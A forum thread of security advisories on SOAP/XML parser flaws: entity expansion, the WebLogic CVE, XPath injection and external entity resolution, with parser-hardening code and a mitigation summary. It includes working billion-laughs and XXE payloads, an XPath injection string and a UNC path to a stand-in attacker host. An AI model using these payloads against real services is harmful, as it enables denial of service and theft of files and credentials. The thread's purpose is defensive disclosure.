XWSS

I want to bring to the attention of this forum a class of vulnerabilities affecting XML parsers deployed in web services endpoints. We have identified several attack vectors that can be used to cause denial of service or information disclosure in SOAP processing engines.

1. XML Entity Expansion (Billion Laughs Attack)

By crafting a SOAP request with recursive entity definitions, an attacker can force the XML parser to expand entities exponentially, consuming all available memory on the server. The following payload demonstrates the technique:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <data>&lol4;</data>
  </soap:Body>
</soap:Envelope>

This is particularly dangerous because the SOAP request appears small on the wire but expands to gigabytes in memory. Most XML parsers process the DTD before the application layer has any opportunity to reject the message.

2. BEA WebLogic Server XML Parser Denial of Service (CVE-2002-2344)

BEA WebLogic Server 7.0 and 7.0.0.1 are vulnerable to a denial of service attack through malformed XML submitted to the web services endpoint. The XML parser in WebLogic does not enforce limits on entity expansion depth or total expansion size. A specially crafted SOAP request can exhaust server memory and cause the JVM to become unresponsive.

BEA has acknowledged the issue. Administrators should apply the patch referenced in BEA Security Advisory BEA03-28 and configure entity expansion limits in the weblogic-xml-parser configuration. As a temporary workaround, consider deploying an XML firewall or validating proxy in front of the WebLogic SOAP endpoint.

3. XPath Injection in SOAP Dispatchers

Several SOAP frameworks use XPath expressions constructed from request data to route messages to the appropriate handler. If user-supplied data is concatenated into XPath expressions without sanitization, an attacker can inject arbitrary XPath that extracts data from the SOAP message or server configuration.

I recommend that all XWSS members review their web services deployments for these issues. I will post additional details and mitigation strategies in follow-up messages.

- Mark Hendricks

Thank you for this advisory, Mark. We confirmed the entity expansion vulnerability in our WebLogic 7.0.0.1 deployment this morning. A single request with the payload you described caused the managed server JVM to run out of heap space within seconds. The server required a full restart.

For those running Apache Xerces-J as the XML parser (which WebLogic uses internally), note that Xerces does not have a built-in limit on entity expansion by default. You can set the http://apache.org/xml/features/disallow-doctype-decl feature to true on your SAXParserFactory to reject any document containing a DTD declaration entirely:

SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature(
    "http://apache.org/xml/features/disallow-doctype-decl",
    true);
factory.setFeature(
    "http://xml.org/sax/features/external-general-entities",
    false);
factory.setFeature(
    "http://xml.org/sax/features/external-parameter-entities",
    false);

This is a blunt approach and will break any legitimate use of DTDs in SOAP messages, but in my experience that is rarely needed in a web services context. WS-Security headers and SOAP bodies should be validated against XML Schema, not DTDs.

We are also evaluating the Reactivity XML firewall appliance as a front-end filter for exactly this class of attack. If anyone has experience with their entity expansion filtering, I would appreciate hearing about it.

- Shinji Yamamoto

This is a real concern. I have seen this pattern in at least two production deployments where the SOAP action header or a custom routing element is used to build an XPath query against a configuration document. For example:

String xpath = "//service[@name='" + soapAction + "']/handler";
NodeList handlers = (NodeList) xpathExpr.evaluate(
    configDoc, XPathConstants.NODESET);

If an attacker controls the SOAPAction HTTP header, they can inject an expression like:

'] | //password | //foo[@x='

This would cause the XPath engine to return nodes from completely unrelated parts of the configuration document, potentially including database credentials or private key references stored in the server configuration XML.

The mitigation here is straightforward: use parameterized XPath queries where the variable is bound as a string value, not concatenated into the expression text. The JAXP XPath API supports XPathVariableResolver for this purpose. Alternatively, validate the SOAPAction value against a whitelist before using it in any query.

Regarding the CVE-2002-2344 issue specifically: we contacted BEA support and they confirmed a patch is forthcoming for WebLogic 7.0 SP1. In the meantime, their recommendation is to deploy a servlet filter that rejects requests with DTD declarations. We implemented this as a simple filter that checks for <!DOCTYPE in the first 4096 bytes of the request body and returns HTTP 400 if found.

- Peter Richardson

I want to add a third attack vector that is related to the entity expansion issue but targets a different resource: external entity resolution.

If the XML parser is configured to resolve external entities (which is the default for most parsers), an attacker can reference arbitrary URLs in entity declarations within the SOAP request:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <query>&xxe;</query>
  </soap:Body>
</soap:Envelope>

On Unix systems, this can read local files. On Windows, UNC paths like \\attacker.example.com\share\file can be used to force the server to make outbound SMB connections, potentially disclosing NTLM credentials.

I tested this against the following SOAP stacks and found all of them vulnerable in their default configuration:

• Apache Axis 1.1 (uses Xerces-J 2.2.1)
• BEA WebLogic 7.0 (internal XML parser)
• IBM WebSphere 5.0 (uses Xerces-J)
• Microsoft .NET 1.1 (System.Xml) - partially mitigated, does not resolve file:// URIs but does resolve http://

The combination of entity expansion and external entity resolution makes any unprotected SOAP endpoint a significant risk. I strongly recommend that all forum members disable both external entity resolution and DTD processing in their XML parser configurations as described in Shinji's post above.

For .NET 1.1 users, set XmlResolver to null on your XmlTextReader before passing it to the SOAP deserializer:

XmlTextReader reader = new XmlTextReader(inputStream);
reader.XmlResolver = null;

- Dave (xmlsecguy)

Thank you all for the additional analysis and mitigation details. I want to summarize the recommended actions for anyone finding this thread in the future:

Immediate mitigations:

• Disable DTD processing in all XML parsers handling SOAP requests
• Disable external entity resolution (both general and parameter entities)
• Set entity expansion limits where the parser supports them
• Validate SOAPAction and other routing parameters against a whitelist
• Do not concatenate untrusted input into XPath expressions

Longer-term recommendations:

• Deploy an XML firewall or validating reverse proxy in front of SOAP endpoints
• Enforce XML Schema validation on all incoming SOAP requests before processing
• Apply vendor patches as they become available (BEA patch for CVE-2002-2344 expected in WebLogic 7.0 SP2)
• Monitor for the OASIS Web Services Security TC response to these parser-level issues

I have also submitted details of the external entity issue to MITRE for CVE assignment. If any forum members have contacts at the affected vendors, please encourage them to address these parser defaults. The current situation where every SOAP stack ships with unsafe defaults is untenable for enterprise deployments.

I will post updates to this thread as vendor patches become available.

- Mark Hendricks